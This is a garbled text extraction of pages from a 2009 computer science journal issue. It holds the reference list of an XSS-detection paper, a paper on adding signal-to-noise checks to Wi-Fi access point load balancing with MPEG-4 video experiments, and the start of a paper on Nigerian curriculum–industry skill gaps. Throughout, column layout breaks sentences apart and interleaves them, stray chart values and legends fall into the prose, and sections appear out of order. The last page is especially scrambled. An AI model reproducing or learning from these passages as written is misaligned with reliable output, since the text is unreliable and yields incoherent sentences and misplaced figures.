Low Low Low High Low High Low High Low Medium
Low Low Low High Low High Low Low Low Low
Low Low Low High Low High Low High Low Low
Low Low Low Low Low High Low Low Low Low
FALSE POSITIVE RATE OF EXISTING METHODS
Authors
False positive
Su, and Wassermann [2] Minamide [5] Huang, Hang, Yu, Tsai, and Lee [6] Jim, Swamy, and Hicks [10] Jovanovic, Kruegel, and Kirda [12] Kirda, Kruegel, Vigna, and Jovanovic [13] Y. Huang, S. Huang, Lin, and Tsai [15] Pietraszek, and Berghe [18] Huang, Hang, Tsai, Lee, and Kuo [28] Wassermann, and Su [29]
Low Medium High Low Medium High Not Identified Medium Not Identified Medium
30
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [22] “JavaScript Security: Same origin,” Mozilla Foundation, http://www.mozilla.org/projects/security/components/same-origin.html, February 2006. [23] “InterDo Version 3.0,” Kavado Whitepaper, Kavado Inc. , 2003. [24] “AppShield,” Sanctum Inc. http://sanctuminc.com, 2005. [25] D. Balzarotti, M. Cova, V. V. Felmetsger, and G. Vigna, “Multi-Module Vulnerability Analysis of Web-based Applications,” In proceeding of 14th ACM Conference on Computer and Communications Security, Alexandria, Virginia, USA: October 2007. [26] N. Jovanovic, C. Kruegel, and E. Kirda, “Precise alias analysis for syntactic detection of web application vulnerabilities,” In ACM SIGPLAN Workshop on Programming Languages and Analysis for security, Ottowa, Canada: June 2006. [27] D. Scott, and R. Sharp, “Abstracting Application-Level Web Security,” In Proceeding 11th international World Wide Web Conference, Honolulu, Hawaii: 2002, pp. 396-407. [28] Y.-W Huang, F. Yu, C. Hang, C. –H. Tsai, D. Lee, and S. –Y. Kuo. “Verifying Web Application using BoundedModel Checking,” In Proceedings of the International Conference on Dependable Systems and Networks, 2004. [29] G. Wassermann, and Z. Su, “Static detection of cross-site Scripting vulnerabilities,” In Proceeding of the 30th International Conference on Software Engineering, May 2008. [30] S. Christey, “Vulnerability type distributions in CVE,” http://cwe.mitre.org/documents/vuln-trends.html, October 2006. [31] H. Hosoya, B. C. Pierce, “Xduce: A typed xml processing language (preliminary report),” In Proceeding of the 3rd International Workshop on World Wide Web and Databases, Springer-Verlag, London, UK: 2001, pp. 226—244. [32] M. Mohri, M. Nederhof, “Regular approximation of context-free grammars through transformation,” Robustness in Language and Speech Technology, 1996, pp. 231-238 [33] “LogiCampus Educational Platform,” http://sourceforge.net/projects/logicampus [34] “Testing for DOM-based cross-site scripting (OWASP-DV-003),” http://www.owasp.org/index.php/Testing_for_DOMbased_Cross_site_scripting_(OWASP-DV-003)
REFERENCES [1] [2]
[3]
[4]
[5]
[6]
[7]
[8] [9]
[10]
[11]
[12]
[13]
[14] [15]
[16] [17] [18]
[19]
[20] [21]
S. M. Metev, and V. P. Veiko, “Laser Assisted Microtechnology,” 2nd ed., R. M. Osgood, Jr., Ed. Berlin, Germany: Springer-Verlag, 1998. Z. Su and G. Wassermann, “The essence of command Injection Attacks in Web Applications,” In Proceeding of the 33rd Annual Symposium on Principles of Programming Languages, USA: ACM, January 2006, pp. 372-382. C. Yue and H. Wang, “Charactering Insecure JavaScript Practice on the Web,” In Proceedings of the 18th International Conference on the World Wide Web, Madrid, Spain: ACM, April 20-24, 2005. Y. Xie, and A. Aiken, “Static detection of security vulnerabilities in scripting languages,” In Proceeding of the 15th USENIX Security Symposium, July 2006, pp. 179-192. Y. Minamide, “Static Approximation of Dynamically Generated Web Pages,” In Proceedings of the 14th International Conference on the World Wide Web, 2005, pp. 432-441. S.Y. Kuo, Y.-W. Huang, F. Yu, C. Hang, C. H. Tsai, D. Lee, and “Securing web application code by static analysis and runtime protection,” In Proceedings of the 13th International World Wide Web Conference, 2004. A.S. Christensen, A. Mǿller, and M.I. Schwartzbach, “Precise analysis of string expression,” In proceedings of the 10th international static analysis symposium, vol. 2694 of LNCS, Springer-Verlag, pp. 1-18. Wikipedia, http://wikipedia.org. V.B. Livshits, and M.S. Lam, “Finding security errors in Java programs with static analysis,” In proceedings of the 14th Usenix security symposium, August 2005, pp. 271-286. T. Jim, N. Swamy, and M. Hicks, “BEEP: Browser-Enforced Embedded Policies,” In Proceedings of the 16th International World Wide Web Conference, ACM, 2007, pp. 601-610. P. Bisht, and V.N. Venkatakrishnan, “XSS-GUARD: Precise dynamic prevention of Cross-Site Scripting Attacks,” In Proceeding of 5th Conference on Detection of Intrusions and Malware & Vulnerability Assessment, LNCS 5137, 2008, pp. 23-43. N. Jovanovic, C. Kruegel, and E. Kirda, “Pixy: A static analysis tool for detecting web application vulnerabilities (short paper),” In 2006 IEEE Symposium on Security and Privacy, Oakland, CA: May 2006. E. Kirda, C. Kruegel, G. Vigna, and N. Jovanovic, “Noxes: A client-side solution for mitigating cross site scripting attacks,” In Proceedings of the 21st ACM symposium on Applied computing, ACM, 2006, pp. 330-337. Grossman, RSNAKE, PDP, Rager, and Fogie, “XSS Attacks: Cross-site Scripting Exploits and Defense,” Syngress Publishing Inc, 2007. Y.-W. Huang, S.-K. Huang, T.-P. Lin, and C.-H. Tsai, “Web application security assessment by fault injection and Behavior Monitoring,” In Proceeding of the 12th international conference on World Wide Web, ACM, New York, NY, USA: 2003, pp.148-159. A. Klein, “DOM Based Cross Site Scripting or XSS of the Third Kind,” http://www.webappsec.org/projects/articles/071105.html, July 2005. “OWASP Document for top 10 2007- cross Site Scripting,” http://www.owasp.org/index.php/Top_10_2007-Cross_Site_Scripting. T. Pietraszek, and C. V. Berghe, “Defending against Injection Attacks through Context-Sensitive String Evaluation,” In Proceeding of the 8th International Symposium on Recent Advance in Intrusion Detection (RAID), September 2005. D. Balzarotti, M. Cova, V. Felmetsger, N.Jovanovic, E. Kirda, C. Kruegel, and G. Vigna, “Saner: Composing Static and Dynamic Analysis to Validate Sanitization in Web Applications,” In IEEE symposium on Security and Privacy, 2008. “Web Application Security Assessment,” SPI Dynamics Whitepaper, SPI Dynamics, 2003. “Web Application Security Testing – AppScan 3.5,” Sanctum Inc., http://www.sanctuminc.com.
31
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
Experimental Performances Analysis of Load Balancing Algorithms in IEEE 802.11 HAMDI Salah1
SOUDANI Adel2, TOURKI Rached3
Computer Sciences Department ISSAT of Sousse Sousse, Tunisia 1
[email protected]
Laboratory of Electronic and Microelectronic Sciences Faculty of Monastir Monastir, Tunisia 2 3
[email protected],
[email protected]
Abstract— In IEEE 802.11, load balancing algorithms (LBA) consider only the associated stations to balance the load of the available access points (APs). However, although the APs are balanced, it causes a bad situation if the AP has a lower signal length (SNR) less than the neighbor APs. So, balance the load and associate one mobile station to an access point without care about the signal to noise ratio (SNR) of the AP cause possibly an unforeseen QoS; such as the bit rate, the end to end delay, the packet loss, … In this way, we study an improvement load balancing algorithm with SNR integration at the selection policy.
II. PROBLEM OF UNBALANCED LOAD IN IEEE 802.11 When load balancing word is used in IEEE 802.11, load means the number of the active process per access point and a load balancing mechanism attempt to make the same number of active process per cell [10]. The standard IEEE 802.11 does not specify an automatic load distribution mechanism. In the hot spots who dispose of many distributed access points, one mobile station selects always an AP who gives the most excellent signal to noise ratio (SNR). The users search the near AP without care about the traffic state of the selected AP. In fact, this phenomenon causes a problem to wireless LAN who is not dimensioned and many APs are managing several mobiles more than the available neighbor APs. In this way, upload an access point more than another AP cause an unbalanced load problem. Figure 1 show that one mobile station who is moving between several APs do not have QoS criterion to help it to choice one AP and not choice another.
Keywords: IEEE 802.11, QoS, Load Balancing Algorithm, Signal to Noise Ratio, MPEG-4
I.
INTRODUCTION
At the time of communication process, one mobile station selects always the near access point who gives the most excellent signal length among those of all available APs. However, the client number per AP increases, so the bit rate per client and the network performance decreases. In the different standards IEEE 802.11, the association decision of a mobile station to an access point is made only thanks to physique consideration without care about load of the APs. In fact, many access points will be more loaded than the other neighbor APs and the quality of service decrease. In this way, many techniques and approaches are proposed to resolve this problem of unbalanced load in IEEE 802.11. Usually, the approaches propose load balancing algorithms (LBA) to equilibrate traffic between the different available Wi-Fi nodes. In this paper, we show an experimental analysis of QoS and of load balancing algorithm in IEEE 802.11. The paper is organized as follows: in section 2, we outline the problem of unbalanced load. In section 3, we show many different approaches focalized about this problem. In section 4, we address the limit of LBA. In section 5, we have used an experimental platform (camera IP transmitting video MPEG-4, APs, mobiles stations …) to apply the algorithm and to do many different experiences in IEEE 802.11environment. We have applied LBA proposed in [4, 5, 8] and we have analyzed his efficiency. Section 6 presents our contribution to improve LBA. Finally, section 7 concludes this work.
?
Fig. 1. Unbalanced load problem
Load balanced algorithm is applied in the intersection zones of the different APs and one mobile station is attached from an access point to another. III. PREVIOUS LOAD BALANCING APPROACHES I. Papanikos and all in [2] indicate that load balancing policy is necessary to distribute the mobiles stations between the different access points. They have proposed one load balancing procedure to attach one mobile station to an AP and balance the user’s number per AP.
32
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
end to end delay, jitter, loss … according to SNR and load of the APs.
S. Sheu and all in [1] proposed Dynamic Load Balance Algorithm (DLBA) to distribute the WLAN users according to the client number per AP. [9] Proposed an algorithm to decrease congestion and balance the user’s traffics in IEEE 802.11. Each access point has one different AP channel to avoid congestion event and signal interference problems. The algorithm found the Most Congested Access Point (MCAP), analyses the users association and decrease the congestion of MCAP. A user will not be connected to an AP with the result that the Signal to Interference Ratio (SIR) is absolute positive and the signal power is more than a fixed threshold. [7] Presented a Cell Breathing Technique to balance the APs load and improve QoS of the real time applications. It reduces the signal length of the congested APs, so reduce the AP’s impact and user’s number per congested AP. On the other hand, it increase the signal length and the Impact of the under loaded APs. So reattach the disconnected stations to the under loaded access point. V. Aleo and all in [4, 5] proposed a load balancing algorithm in hot spots. The algorithm works with care about the bit rate per each AP. It does not think about the client’s number per AP because the user’s traffic is changeable. So, there are not a serious correlation between the client’s number and their traffics. Over loaded access points are not authorized to associate new coming stations.
Bit rate= f(SNR, Traffic) 600 500
480 kbps 570 kbps 2944 kbps 12237 kbps
400 300 200 100 0 20
30
40 SNR (db)
50
Fig. 2. Bit rate variation
Frame end to end delay=f(SNR, Traffic) 350 300
IV. LOAD BALANCING ALGORITHM LIMITS
480 kbps
250
Wireless link characteristics are not constant and vary over time and place [6]. Load balancing algorithms consider only the associated stations to balance the load of the all APs. However, although the APs are balanced, it cause a bad situation if the AP’s associated stations is having low signal length (SNR) less than the neighbor APs. Possibly, it will suffer the AP channel and increase the number of loss packets. If IEEE 802.11 is not dimensioned correctly and the APs are distributed wrongly, so it’s impossible to apply load balancing algorithm and improve the QoS [3]. Moreover, associate a mobile station to an access point without consideration of the signal length (SNR) received from the AP, cause possibly an unforeseen QoS; such as the bit rate, the end to end delay, the packet loss, … On the other hand, an under loaded access point but having low Signal to Noise Ratio (SNR) cannot improve QoS. In fact, before apply LBA and change one mobile station from an AP to another, it’s very important to think about noise, signals interference, distance and geographic distribution of the available APs and so their signals levels. An access point having low SNR must not consider at the time of LBA execution. In this way, we search to show this contribution experimentally. We use an experimental platform with camera IP and many APs to analyze QoS of MPEG-4 transmission via IEEE 802.11 and measure many different parameters.
570 kbps
200 150
2944 kbps
100
12237 kbps
50 0 20
30
40 SNR (db)
50
Fig. 3. Frame end to end delay variation
Frame jitter = f(SNR, Traffic) 350 300
480 kbps
250
570 kbps
200 150
2944 kbps
100
12237 kbps
50
V. EXPERIMENTATIONS & RESULTS
0 20
A.
Exp1 : insuffisance of SNR This first experimentation has an object to analyze the video MPEG-4 quality and measure many different parameters of the QoS. We show the variation of bit rate,
30
40 SNR (db)
50
Fig. 4. Frame jitter variation
33
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
In figure 5, we have measured the frame number received per second according to (SNR) and the load of AP. If SNR is good so the frame rate increases. But the rate decrease (3 fps) when the traffic = 12237 kbps although SNR is good (50 db) because AP is uploaded. However, the rate was good (17 fps) when the traffic = 480 kbps although SNR was medium (30 db).
Frame rate= f(SNR, Traffic) 25 20
480 kbps
15
570 kbps
10
2944 kbps
5
Figure 6 demonstrates that video quality and so PSNR increase according to the signal length. However, the traffic of access point affects the video quality.
12237 kbps
Basing on the previous figures and interpretations, QoS parameters are better if Signal to Noise Ratio is strong. However, upload an AP decrease the QoS although SNR is good again. In fact, take care only about SNR and physiques criterion of channel is not sufficient to improve QoS. We show experimentally the importance of the load at the variation of QoS parameters at the time of MPEG-4 transmission. We must considerer AP’s load at the time of IEEE 802.11 connection.
0 20
30
40 SNR (db)
50
Fig. 5. Frame rate variation
PSNR = f(SNR, Traffic)
B.
Exp2: Performance analyze of LBA The object of this second experience is to use again our platform (camera IP transmitting video MPEG-4, APs, mobiles stations …) and apply LBA between two access points that are unbalanced. The standard IEEE 802.11 does not distribute automatically the traffic of APs. Indeed, we apply LBA manually basing on the sum of traffics and we distribute one mobile station to balance the load of the two available access point.
120 100
570 kbps
80
815 kbps
60 40
11657 kbps
20
12611 kbps
0 20
30
40 50 SNR (db)
Bit rate= f(SNR, Load)
60
500 Fig. 6. PSNR variation
400
Figure 2 show the bit rate variation according to SNR and load. The bit rate varies proportionally to SNR. However, if AP’s load increase so the bit rate decrease although SNR is strong again ; for example, when the traffic is equal to 12237 kbps and SNR = 50 db, the bit rate (243 kbps) is less than the value (550 kbps) measured when the traffic = 570 kbps although SNR is weak.
300
Unbalanced APs LBA
200 100 0 20
Figure 3 demonstrates that the delay does not vary proportionally to SNR. Although, SNR is strong (50 db) and traffic = 12237 kbps, the frame delay is more (333 msec) than the value measured (59 msec) when the traffic = 480 kbps and SNR = 30 db.
30
40
50
80
SNR (db) Fig. 7. Bit rate variation
As figure 4 shows, frame jitter does not vary proportionally to Signal to Noise Ratio. However, if an access point is uploaded so the jitter increases although SNR value is good. We have measured a very bad jitter (293 msec) when the traffic =12237 kbps and SNR=50 db. On the other hand, we have measured good jitter (56 msec) when the traffic = 480 kbps and SNR was medium (30 db).
34
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
Bit rate = f(SNR, Load)
700 600 500 400 300 200 100 0
Packet jitter = f(SNR, Load)
40 35 30 25 20 15 10 5 0
Unbalanced APs LBA
20
30
40
50
Unbalanced Aps LBA
20
60
30
40
SNR (db)
50
80
SNR (db) Fig. 10. Packet jitter variation
Fig. 8. Bit rate variation
Frame end to end delay =f(SNR, Load)
Bit rate = f(SNR, Load) 0,25
700 600 500 400 300 200 100 0
0,2 Unbalanced Aps
Unbalanced Aps
0,15
LBA
LBA
0,1 0,05 0
20
30
20
40
30
40
SNR (db)
50
80
SNR (db) Fig. 11. Frame end to end delay variation
Fig. 9. Bit rate variation
Frame jitter = f(SNR, Load)
At the first hand, figures 7, 8 and 9 show the efficiency of load balancing algorithm to enhance the bit rate of users. In figure 7, we have applied LBA at one signal length = 80 db so the rate increase from 317 kbps to 442 kbps.
250 200
On the other hand, the bit rate decreases again while SNR is weak. Although APs are balanced, we have measured 225 kbps who is less than the first value measured when the APs were unbalanced (317 kbps). This last note is valid on figures 8 and 9. However, we balance the APs at a signal length =SNR1, so the bit rate increase. But it decrease again at a weak signal length = SNR2 and we have measured bad value who is less than the value calculated at SNR1.
150
Unbalanced Aps
100
LBA
50 0 20
30
40
50
80
SNR (db)
Figures 7, 8 and 9 show a correlation between SNR1 and SNR2; the bit rate decrease while SNR2 = SNR1/2 although APs are balanced again (SNR2 = 40 db if SNR1 = 80 db, SNR2 = 30 db if SNR1 = 60 db, SNR2 = 20 db if SNR1 = 40 db).
Fig. 12. Frame jitter variation
35
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
became bad and so PSNR decrease (14 db) although APs are balanced.
Frame jitter = f(SNR, Load)
120
On conclusion, the previous figures were an application of load balancing algorithm to study his efficiency. Basing on the figures, LBA improve QoS and enhance their parameters (bit rate, jitter, end to end delay ...). However, the stations are mobiles and signals lengths vary from one mobile station to another. Indeed, LBA application is not absolutely the best solution to improve the QoS. Quality of service decrease when SNR became weak although the load is distributed correctly. So, we show experimentally the importance of parameter SNR at the time of LBA application. In fact, apply LBA and change one mobile station from an uploaded AP to an under loaded AP do not improve inevitably QoS. The second AP must not have SNR who is less than the half of the first SNR.
100 80
Unbalanced Aps
60
LBA
40 20 0 20
30
40
SNR (db) Fig. 13. Frame jitter variation
VI. CONTRIBUTION TO LBA ENHANCEMENT LBA show a limit between selection policy and distribution policy. Selection policy select one mobile station that will be disconnected from an uploaded AP and it will be connected to an under loaded AP. Then, distribution policy checks the load balancing criterion β and distributes the selected mobile. Indeed, selection policy thinks without care about Signal to Noise Ratio (SNR) of the available under loaded and uploaded APs. In fact, an under loaded AP can have bad physique criterion and so weak SNR although it’s more available than the author APs. However, although APs are now balanced, QoS decrease when the new under loaded APs or their associated stations are far off than the old uploaded AP. So, it will suffer AP’s channel and have a very high probability of packet loss. In this way, we try to improve load balancing algorithm with integration of parameter SNR at the selection policy (figure 15).
PSNR = f(SNR, Load)
120 100 80
Unbalanced Aps LBA
60 40 20 0 30
SNR (db)
70
Fig. 14. PSNR variation
Selection policy + SNR calculation
In figure 10, we have applied LBA when signal to noise ratio = 80 db. In fact, packet jitter decreases from18ms to 13ms. However, the jitter increase again according to SNR (<=40 db) until 26 ms that is greater than the first value (18 ms) measured when APs are unbalanced.
If next SNR > current SNR / 2
As figure 11 shows, LBA application decrease considerably frame end to end delay from 0.13 sec to 0.096 sec. Although the access point are balanced, the end to end delay increase until 0.17 sec because SNR became weak (SNR <= 40 db) than the first value (80 db).
No
Yes
Distribution policy
In figure 12, LBA application improves the frame jitter. In fact, the jitter decreases from 131 ms until 96 ms. But looking at the value measured in figure 13 (176 ms) when SNR became weak (40 db), frame jitter is bad than the value calculated when SNR is strong (80 db) although APs were unbalanced (131 ms).
Fig. 15. LBA enhancement
Our contribution to enhance LBA means the next: at the time of LBA application, if LBA decide to disconnect one mobile from an AP and connect it to another, so it’s necessary to think with care about the SNR of the new AP. The new signal to noise ratio must not less than the half of the SNR of the old AP although the new AP is under loaded.
Figure 14 demonstrates that LBA enhance video quality of users. Figure 14 show that when SNR = 70 db, LBA application increases PSNR considerably. However, when signal length became medium = 30 db, video quality
36
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.2, 2009
IEEE 802.11 WLANs”, IEEE International Conference on Signal Processing and Communications, pp 768-771, 2007. [10] I. JABRI, N. KROMMENACKER, A. SOUDANI, T. DIVOUX, S. NASRI, “IEEE 802.11 Load Balancing: An Approach for QoS Enhancement “, International Journal of Wireless Information Networks, Vol. 15 no 1, pp 16-30, 2008.
VII. CONCLUSION AND FUTURE WORKS In this paper, we have proposed a contribution to improve the QoS of video MPEG-4 transmission via IEEE 802.11. In this way, we have used an experimental platform (camera IP, APs, mobiles…) to do two experiences. At the first hand, we have studied QoS parameters (bit rate, jitter, end to end delay…) variation according to SNR and load. On the other hand, we have analyzed the performances of load balancing algorithm in IEEE 802.11. These experiences allow us to found many results: firstly, QoS vary proportionally to signal to noise ratio SNR but load of APs affect QoS in IEEE 802.11. Secondly, LBA works more with taking care about SNR of the available APs. Finally, we have proposed a new approach basing on SNR at the time of LBA execution.
AUTHORS PROFILE
Salah HAMDI Received his Teaching and Master degrees in computer sciences from the Upper Institute of the Applied Sciences and Technology (ISSAT) of Sousse, Tunisia. Currently, he is PhD student in National Engineering School of Sfax (ENIS), Tunisia. His current research topics concern the artificial intelligence and the help to decision. He focuses on the design of intelligent software for the decision in cardiology.
The future works should be focus on the new approaches and primitives that can be introduced to enhance the QoS. We will study the implementation of load balancing algorithm with SNR integration at the selection policy. In this way, we can use a network simulator such as OPNET or NS to simulate and test these strategies. REFERENCES [1] S. Sheu, C. Wu, "Dynamic Load Balance Algorithm (DLBA) for IEEE 802.11 Wireless LAN”, Tamkang Journal of Sience and Engineering, Vol. 2 no 1, pp 45-52, 1999. [2] I. Papanikos, M. Logothetis, “A study on dynamic load balance for IEEE 802.11b wireless LAN”, 8th International Conference on Advances in Communication and Control, Greece, 2001. [3] A. Lindgren, A. Almquist, O. Schelen, “Evaluation of quality of service schemes for IEEE 802.11 wireless LANs”, 26th Annual IEEE Conference on Local Computer Networks (Tampa, Florida, USA), pp 348-351, 2001. [4] V. Aleo, "Load Distribution in IEEE 802.11 Cells", Master of Science Thesis, KTH, Royal Instiute of Technology, Allemagne, 2003. [5] H. Velayos, V. Aleo, and G. Karlsson, “Load Balancing in Overlapping Wireless Cells”, IEEE International Conference on Communications, Paris, France, 2004. [6] Q. Ni, L. Romdhani, and T. Tureletti, “A Survey of QoS Enhancements for IEEE 802.11 Wireless LAN”, Journal of Wireless Communications and Mobile Computing, Vol. 4, No. 5, pp. 547–566, 2004. [7] O. Brickley, S. Rea and D. Pesch, “Load balancing for QoS enhancement in IEEE802.11e WLANs using cell breathing techniques”, 7th IFIP International Conference on Mobile and Wireless Communications Networks, Maroc, 2005. [8] M. SALHANI, T. DIVOUX, N. KROMMENACKER, “ Etude de l’Adéquation des Ressources Physiques aux Besoins des Applications sansfil: Proposition d’un algorithme d’équilibrage de charge dans les cellules IEEE 802.11“, Rapport de DEA en génie informatique, Faculté des sciences et techniques, France, 2005. [9] H. Al-Rizzo, M. Haidar, R. Akl, Y. Chan, “Enhanced Channel Assignment and Load Distribution in
Adel SOUDANI received his PhD (2003) in Electronics and also Electrical Engineering respectively from the University of Monastir, Tunisia, and the University of Henri Poincaré Nancy I, France. He is currently an Assistant Professor at the Institute of Applied Sciences and Technology of Sousse. His research activity includes QoS management in real time embedded systems and multimedia applications. He focuses mainly on protocol verification, implementation and performance evaluation for multi-constrained communication systems.
Rached TOURKI received the B.S. degree in Physics (Electronics option) from Tunis University, in 1970; the M.S. and the Doctorat de 3eme cycle in Electronics from Institut d'Electronique d'Orsay, Paris-south University in 1971 and 1973 respectively. From 1973 to 1974 he served as microelectronics engineer in Thomson-CSF. He received the Doctorat d'etat in Physics from Nice University in 1979. Since that date, he has been professor in Microelectronics and Microprocessors in the department of physics at the Science Faculty of Monastir. From 1999, he is the Director of the Electronics & Microelectronics Lab.
37
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Exploration of the Gap Between Computer Science Curriculum and Industrial I.T Skills Requirements. Azeez Nureni Ayofe Department of Maths & Computer Science,
Azeez Raheem Ajetola Department of Maths & Computer Science,
College of Natural and Applied Sciences,
College of Natural and Applied Sciences,
Fountain University, Osogbo,
Fountain University, Osogbo,
Osun State, Nigeria.
Osun State, Nigeria.
E-mail address:
[email protected]
E-mail address:
[email protected]
ABSTRACT This paper sets out to examine the skills gaps between the industrial application of Information Technology and university academic programmes (curriculum). It looks at some of the causes, and considers the probable solutions for bridging the gap between them and suggests the possibilities of exploring a new role for our universities and employers of labor. It also highlights strategies to abolish the misalignment between university and industry. The main concept is to blend the academic rigidity with the industrial relevance.
should provide a conducive learning environment and industry oriented curriculum that the business community perceived as meeting their IT requirements. Curricula are expected to be developed with the objective of producing skilled and employable graduates. Ching et al (2000) states that employability rests in the knowledge and skills imparted upon them through their education. This paper therefore sets out to examine the skills gaps between the industrial application of Information Technology and university academic programmes, look at some of the causes, and in considering the probable solutions for bridging the gap between them and suggests the possibilities of exploring a new role for our universities and employers of labor. The two sides, one producing and the other utilizing the work force, need a common ground to operate so that such synergy will result in adequate supply of relevant personnel for all the sectors of the economy.
KEYWORDS Skills gap, University, business.
Industry, I.T, Graduates,
Curriculum, government,
1.0 INTRODUCTION As the Nigerian industries are rapidly growing in terms of the advancement of science and technology, unprecedented demand for better graduates has been created. However, industry often criticizes that existing university curricula fall short to tackle the practical issues in the industry. For instance, the industry expects the university to train their future employees with the latest technology. Academia is at the centre of developing trends. This is because university lacks a proper academic programme that is suitable for the industries. This causes a gap between universities and industry that needs to be bridged by the universities academics and IT professionals. The industry is continually broadening and the knowledge domain is increasingly becoming complex. The importance and role of developing better curriculum in universities programme is significant in bridging the gap between the changing technology and industry needs for employers. Universities
It is when such a balance is in sight that we may begin to wrap our arms around resolving the issue of unemployment in the society.
38
2.0 UNIVERSITY ACADEMIC PROGRAM AND INDUSTRIAL APPLICATION OF IT The subject of skills development is not only timely but appropriate in view of the present global socio-economic challenges. The issue of skills gap is particularly topical considering the structural, academic, vocational and planning challenges which are peculiar to us presently. No longer is the world debating on the importance of education as a prerequisite for social and economic development, and nobody now questions the relationship between high academic attainment and economic rewards that accrue as a result of that attainment. The former President of the United States Bill Clinton once said “We are living in a world where what you earn is a function of what you can learn. (US Dept. of Educ., 1995). ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
If this world is to move out of the present economic doldrums, then its abundant human resources needed to be deployed effectively and efficiently with the skill of Information Technology based processing to manage other natural resources, in order to attain these developmental goals. IT Skills in all and every ramification translate into inventions, services, products, ideas, innovations and best practices that drive the wheel of progress and development. From a studied position, the development of any nation depends to a very large extent on the caliber, organization and technological skill of its human resources.
of work. All aspect of work is now computerized. Only those who move with the tide will be successful. However, the gap that exists between what is taught at school and the skills required to perform on a job is so wide that a high percentage of young graduates are said to be unemployable for lack of needed skills that would make them profitable for any employer. This state of affairs has existed in the world especially in Africa for so long that there is urgent need for serious actions to stem the tide and correct the malaise that is robbing the nation of progress in many fields of endeavour.
In addition, it is widely held that knowledge, skills, and resourcefulness of people are critical to sustaining economic and social development activities in a knowledge based society. Given the growing global IT networking and the dynamic investment climate in the world, the demand for knowledge workers with high levels of technical and soft skills can only
3.0
A TYPICAL SCENARIO
The table1 below shows the statistics of unemployed graduates in Malaysia as obtained in (http://educationmalaysia.blogspot.com/200 6/07/70-public-university-graduatesjobless.html), as demonstrated during a seminar in Malaysia on Education in Malaysia.
increase. IT knowledge and networking skills is the arrowhead of the modern world
Table 1 shows the statistics of unemployed graduates in Malaysia (source: http://educationmalaysia.blogspot.com/2006/07/70-public-university-graduatesjobless.html) One of the contributors, Kian Ming, said “I can fully understand "Business Administration" or other management programmes as a degree course that many candidates opt for if they are not qualified
for other subjects to study, and hence the high level of unemployability given the weaker pool of students. However, computer science has the highest contributor to the unemployed pool? Isn't that the next wave of growth overtaking 39
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol. 4, No. 1 & 2, 2009 the country whereby computer science graduates should be in high demand?” • Another participant in the same seminar, John Lee, also said “The answer as to why the Computer Science faculty seems to be contributing the highest number of • unemployed graduates to the market place despite a clear shortage of skilled workers in the industry is fairly obvious.
A survey conducted earlier has indicated that as many as 30% of the unemployed local graduates are computer science and information technology degree holders. These skills are in obvious demand in the country - it is not a mismatch. The clearcut issue in this case is that many of the local institutions of higher learning, both public and private have failed to offer a sufficiently rigorous education to produce the necessary quality in the workforce which the industry requires”
•
4.1 UNIVERSITY ACADEMIC PROGRAMME: This otherwise known as ‘Curriculum’ refers to course offerings at an educational institution. Decisions about what a school should teach are usually made by school administrators and faculty and governed by University councils. In relation to Information Technology, it is of the view as it being too theoretical and outdated. The necessary technical attributes and “Know-how” expected of this program is in a depleted state and close to nothing satisfactory to applications in the Industrial realm.
Most importantly, as highlighted by Chris Chan, chief executive officer of The Media Shoppe in the same seminar, he said: “... some local ICT graduates lacked fundamental technical skills and only had knowledge of basic software such as Microsoft Office (!) The problem is largely either the poor ICT curriculum of many of our local universities/colleges that doesn't seem teach anything to our ICT students or these students shouldn't have been taking ICT courses in the first place”
Answers are continuously left un-provided when students (graduates) are faced with the reality question of: “WHAT CAN YOU DO?” in the labour market when they are out for any interview. 4.2 STUDENTS IN PERSPECTIVE It is clearly obvious that in university, students study the basics, that is, underline principles, which might not be adequate to develop a professional project for a good client
4.0 WHAT IS A SKILL GAP? A skill gap is the shortage in performance. It is the difference between what is required or expected and what we actually get. Put in another way a skill gap is the required performance minus the present performance (Adetokunbo 2009). Hence it is also called the performance gap. It could be in the area of any respective field of work.
Students do not know what a use case is; they also do not know how to prepare a professional SRS. They equally do not know about the WBS. So how can they learn all these to prepare themselves joining a good satisfying job and work confidently? They should not think that they know in and out of software development the moment they get a degree certificate from the university.
Causes of gap between the university degree in Computing and industrial IT skills • •
dynamic nature of the course because of the financial implication. Lukewarm attitude of lecturers to surrender themselves for training and workshops that will expose them to the latest innovations in IT. Priority given to research works by the lecturers rather than lectures and workshops which will bring them to limelight on the latest development in IT. Lack of facilities to train both the lecturers and the students on the new inventions
They must accept the fact that may be they know 10% or they just heard about all these jargons during their student life. They should also educate their parents not to pressurize them just after their graduation rather to cooperate with them to learn and get ready for a right job.
The Computer Science curriculum is static in nature while its industrial application is dynamic. University is not ready to train and retrain its staff to meet up with the 40
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol. 4, No. 1 & 2,organizations 2009 Why so many fresh IT or Computer Science need to grow and the capabilities graduates in India could avail the job of their employees. Finding the right candidates within 6 months time from the graduation to fill a growing list of vacant positions is a date? They set their mind to join a good number one concern of business leaders today. training institute at least for 3 months time Research shows that the shifts in workforce after the graduation where they learn the demographics affect the availability of labor to technology, communication and exposure fill high-skilled jobs. Ironically, skill gaps on project management. This helps them a result from technological advancements. lot to approach the big companies for a Therefore, in reality, organizations will always junior software developer post as they learn face some types of skill gaps all the time if the the live scenario of a project cycle during university curriculum does not adjust itself into their training period (Azeez N.A, 2008). the computerized economy. They know how to code (technology), how to document (communication) and how to Lack of proper skills in the university students, prepare a release note (bit of project re-skilling, poor facilities for IT skills management). This is what any company development , lack of planning, lack of expects from any IT graduate from day one. coordination, confusion, mismanagement, inefficient application of scarce resources and They feel happy recruiting them as they deficient value orientation and other perfidies don’t have to spend money and time has greatly contributed to put our country in a providing training to such a graduate any very precarious job deficit. longer. Information technological Training facilities are few, uncoordinated and untargeted in the higher institutions. 